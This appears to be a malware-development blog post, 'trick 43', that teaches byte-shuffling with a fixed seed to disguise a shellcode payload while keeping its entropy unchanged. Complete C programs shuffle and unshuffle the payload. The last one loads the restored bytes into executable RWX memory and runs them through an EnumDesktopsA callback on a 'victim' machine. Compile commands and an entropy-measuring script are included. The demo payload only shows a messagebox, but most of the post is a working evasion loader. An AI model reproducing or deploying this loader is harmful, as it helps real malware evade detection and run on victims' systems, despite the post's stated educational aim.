Malware development trick 43: Shuffle malicious payload. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In one of my first posts back in 2022, I wrote about a terminology called Shannon’s entropy and in most of the posts on my blog I drew attention to this concept in malware research and analysis.
Recently one of my readers asked an interesting question, of course he is not the first to ask about this and this technique has long been known to many.
byte shuffling technique
The idea is: make the payload unrecognizable by shuffling its bytes, which will not change its entropy (unlike usual alorithms such as AES and other). It works because seed is used, making random shuffling reversible.
In theory the entropy should be the same for normal payload and for shuffled, because of how entropy is calculated
practical example 1
Let’s check this in practice. For this reason, first of all, create simple C code for shuffling bytes:
// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// Read the input file as bytes
FILE *in = fopen(input_file, "rb");
if (in == NULL) {
perror("fopen input file failed");
return;
}
// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);
// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror("malloc failed");
fclose(in);
return;
}
// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror("fread failed");
fclose(in);
free(data);
return;
}
fclose(in);
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror("malloc failed");
free(data);
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}
// write the shuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);
// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}
As you can see, the logic is pretty simple. Just implemented the shuffling algorithm using arrays and loops. In this code we used FILE *
pointers and functions like fopen
, fclose
, fread
, and fwrite
for file operations, used malloc
for dynamic memory allocation and free
to deallocate it. Also we used the standard C library function srand
for seeding the random number generator.
Let’s say we have a binary payload in file:
hexdump -C meow.bin
As usually, for simplicity, it’s just meow-meow
messagebox payload.
Then add logic to shuffle file and save it to another:
// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
shuffle_bytes(input_file, output_file, seed);
}
int main() {
const char *input_file = "meow.bin";
const char *shuffled_file = "shuffled.bin";
unsigned int seed = 12345;
// Shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);
return 0;
}
Finally, our simple PoC looks like this (hack.c
):
/*
* hack.c
* shuffle bytes in payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>
// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// Read the input file as bytes
FILE *in = fopen(input_file, "rb");
if (in == NULL) {
perror("fopen input file failed");
return;
}
// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);
// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror("malloc failed");
fclose(in);
return;
}
// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror("fread failed");
fclose(in);
free(data);
return;
}
fclose(in);
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror("malloc failed");
free(data);
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}
// write the shuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);
// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}
// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
shuffle_bytes(input_file, output_file, seed);
}
int main() {
const char *input_file = "meow.bin";
const char *shuffled_file = "shuffled.bin";
unsigned int seed = 12345;
// Shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);
return 0;
}
demo 1
Let’s go to see everything in action. Compile it (in my linux
machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Then run it in my Windows VM:
.\hack.exe
As a result we get a new file:
practical example 2
What about deshuffle logic? Just add new function like this:
void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror("malloc failed");
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}
// write the deshuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(indices);
free(deshuffled_data);
return;
}
if (fwrite(deshuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(indices);
free(deshuffled_data);
return;
}
fclose(out);
// Free allocated memory
free(indices);
free(deshuffled_data);
}
Let’s create a simple logic: read payload shuffle bytes save it then deshuffle it. Full source code looks like this (hack2.c
):
/*
* hack2.c
* shuffle bytes in payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>
// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// read the input file as bytes
FILE *in = fopen(input_file, "rb");
if (in == NULL) {
perror("fopen input file failed");
return;
}
// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);
// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror("malloc failed");
fclose(in);
return;
}
// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror("fread failed");
fclose(in);
free(data);
return;
}
fclose(in);
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror("malloc failed");
free(data);
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}
// write the shuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);
// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}
void deshuffle_bytes(char* data, size_t size, const char* output_file, unsigned int seed) {
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror("malloc failed");
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}
// write the deshuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(indices);
free(deshuffled_data);
return;
}
if (fwrite(deshuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(indices);
free(deshuffled_data);
return;
}
fclose(out);
// Free allocated memory
free(indices);
free(deshuffled_data);
}
// function to shuffle a file and save it
void shuffle_file_and_save(const char *input_file, const char *output_file, unsigned int seed) {
shuffle_bytes(input_file, output_file, seed);
}
int main() {
const char *input_file = "meow.bin";
const char *shuffled_file = "shuffled.bin";
unsigned int seed = 12345;
// shuffle the input file and save it
shuffle_file_and_save(input_file, shuffled_file, seed);
// read the shuffled file
FILE *shuffled_fp = fopen(shuffled_file, "rb");
if (shuffled_fp == NULL) {
perror("fopen shuffled file failed");
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror("malloc failed");
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror("fread failed");
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);
// deshuffle the data
const char *deshuffled_file = "deshuffled.bin";
deshuffle_bytes(shuffled_data, shuffled_size, deshuffled_file, seed);
free(shuffled_data);
return 0;
}
demo 2
Compile second example:
x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Then run it in my Windows VM:
.\hack2.exe
As a result we get a new file deshuffled.bin
:
As you can see, this file is the same as original meow.bin
.
practical example 3
Let’s update our main logic: read our meow-meow
payload from shuffled file, deshuffle it and run it.
First of all, update deshuffle logic:
// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
// Create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
return NULL; // Return NULL on error
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror("malloc failed");
free(indices);
return NULL; // Return NULL on error
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}
// free the original data buffer (we don't need it anymore)
free(data);
// return the deshuffled data
return deshuffled_data;
}
As you can see, in this case the function now returns char*
, which is the pointer to the deshuffled data.
Then the main function can correctly receive the deshuffled data pointer from deshuffle_bytes
and proceed with execution like this:
int main() {
const char *input_file = "shuffled.bin";
unsigned int seed = 12345;
// read the shuffled file
FILE *shuffled_fp = fopen(input_file, "rb");
if (shuffled_fp == NULL) {
perror("fopen shuffled file failed");
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror("malloc failed");
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror("fread failed");
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);
// deshuffle the data and run it directly
char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
if (deshuffled_data == NULL) {
return 1;
}
printf("deshuffled payload:\n");
for (int i = 0; i < shuffled_size; i++) {
printf("%02x ", deshuffled_data[i]);
}
printf("\n\n");
// allocate memory and copy deshuffled data
LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
perror("VirtualAlloc failed");
free(deshuffled_data);
return 1;
}
RtlMoveMemory(mem, deshuffled_data, shuffled_size);
// run the deshuffled payload
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
// free allocated memory
free(deshuffled_data);
return 0;
}
As you can see, for simplicity, we just run payload via EnumDesktopsA function.
Full source code looks like this (hack3.c
):
/*
* hack3.c
* deshuffle bytes in payload and run
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/09/30/malware-trick-43.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <windows.h>
// function to shuffle the bytes of a file
void shuffle_bytes(const char *input_file, const char *output_file, unsigned int seed) {
// read the input file as bytes
FILE *in = fopen(input_file, "rb");
if (in == NULL) {
perror("fopen input file failed");
return;
}
// get the size of the file
fseek(in, 0, SEEK_END);
size_t size = ftell(in);
fseek(in, 0, SEEK_SET);
// allocate memory for the file data
char *data = (char *)malloc(size);
if (data == NULL) {
perror("malloc failed");
fclose(in);
return;
}
// read the file data into the buffer
if (fread(data, 1, size, in) != size) {
perror("fread failed");
fclose(in);
free(data);
return;
}
fclose(in);
// create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
free(data);
return;
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for shuffled data
char *shuffled_data = (char *)malloc(size);
if (shuffled_data == NULL) {
perror("malloc failed");
free(data);
free(indices);
return;
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
shuffled_data[i] = data[indices[i]];
}
// write the shuffled data to the output file
FILE *out = fopen(output_file, "wb");
if (out == NULL) {
perror("fopen output file failed");
free(data);
free(indices);
free(shuffled_data);
return;
}
if (fwrite(shuffled_data, 1, size, out) != size) {
perror("fwrite failed");
fclose(out);
free(data);
free(indices);
free(shuffled_data);
return;
}
fclose(out);
// free allocated memory
free(data);
free(indices);
free(shuffled_data);
}
// deshuffle bytes function
char* deshuffle_bytes(char* data, size_t size, unsigned int seed) {
// Create a list of indices
int *indices = (int *)malloc(size * sizeof(int));
if (indices == NULL) {
perror("malloc failed");
return NULL; // Return NULL on error
}
for (size_t i = 0; i < size; ++i) {
indices[i] = i;
}
// shuffle the indices
srand(seed);
for (size_t i = size - 1; i > 0; --i) {
size_t j = rand() % (i + 1);
int temp = indices[i];
indices[i] = indices[j];
indices[j] = temp;
}
// create a new buffer for deshuffled data
char *deshuffled_data = (char *)malloc(size);
if (deshuffled_data == NULL) {
perror("malloc failed");
free(indices);
return NULL; // Return NULL on error
}
// rearrange the data according to shuffled indices
for (size_t i = 0; i < size; ++i) {
deshuffled_data[indices[i]] = data[i];
}
// free the original data buffer (we don't need it anymore)
free(data);
// return the deshuffled data
return deshuffled_data;
}
int main() {
const char *input_file = "shuffled.bin";
unsigned int seed = 12345;
// read the shuffled file
FILE *shuffled_fp = fopen(input_file, "rb");
if (shuffled_fp == NULL) {
perror("fopen shuffled file failed");
return 1;
}
fseek(shuffled_fp, 0, SEEK_END);
size_t shuffled_size = ftell(shuffled_fp);
fseek(shuffled_fp, 0, SEEK_SET);
char *shuffled_data = (char *)malloc(shuffled_size);
if (shuffled_data == NULL) {
perror("malloc failed");
fclose(shuffled_fp);
return 1;
}
if (fread(shuffled_data, 1, shuffled_size, shuffled_fp) != shuffled_size) {
perror("fread failed");
fclose(shuffled_fp);
free(shuffled_data);
return 1;
}
fclose(shuffled_fp);
// deshuffle the data and run it directly
char* deshuffled_data = deshuffle_bytes(shuffled_data, shuffled_size, seed);
if (deshuffled_data == NULL) {
return 1;
}
printf("deshuffled payload:\n");
for (int i = 0; i < shuffled_size; i++) {
printf("%02x ", deshuffled_data[i]);
}
printf("\n\n");
// allocate memory and copy deshuffled data
LPVOID mem = VirtualAlloc(NULL, shuffled_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
perror("VirtualAlloc failed");
free(deshuffled_data);
return 1;
}
RtlMoveMemory(mem, deshuffled_data, shuffled_size);
// run the deshuffled payload
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
// free allocated memory
free(deshuffled_data);
return 0;
}
demo 3
Let’s go to see everything in action. Compile it (in my linux
machine):
x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Then, just run it in the victim’s machine (windows 11 x64
in my case):
.\hack3.exe
As you can see, everything is worked perfectly! =^..^=
Calculating Shannon entropy:
python3 entropy.py -f hack3.exe
Our payload in the .text
section.
Calculate Shannon entropy of our binary files via this script:
import argparse
import math
def shannon_entropy(data):
# 256 different possible values
possible = dict(((chr(x), 0) for x in range(0, 256)))
for byte in data:
possible[chr(byte)] +=1
data_len = len(data)
entropy = 0.0
# compute
for i in possible:
if possible[i] == 0:
continue
p = float(possible[i] / data_len)
entropy -= p * math.log(p, 2)
return entropy
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-f','--file', required = True, help = "target file")
args = vars(parser.parse_args())
target_file = args['file']
with open(target_file, 'rb') as f:
data = f.read()
if data:
entropy = shannon_entropy(data)
print(entropy)
Run:
python3 entropy.py -f meow.bin
python3 entropy.py -f shuffled.bin
python3 entropy.py -f deshuffled.bin
As you can see, entropy is not different: the same value for shuffled, deshuffled and original payloads as expected.
I hope this post with practical example is useful for malware researchers, red teamers, spreads awareness to the blue teamers of this interesting technique.
Shannon entropy
AES encryption example
DES encryption example
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine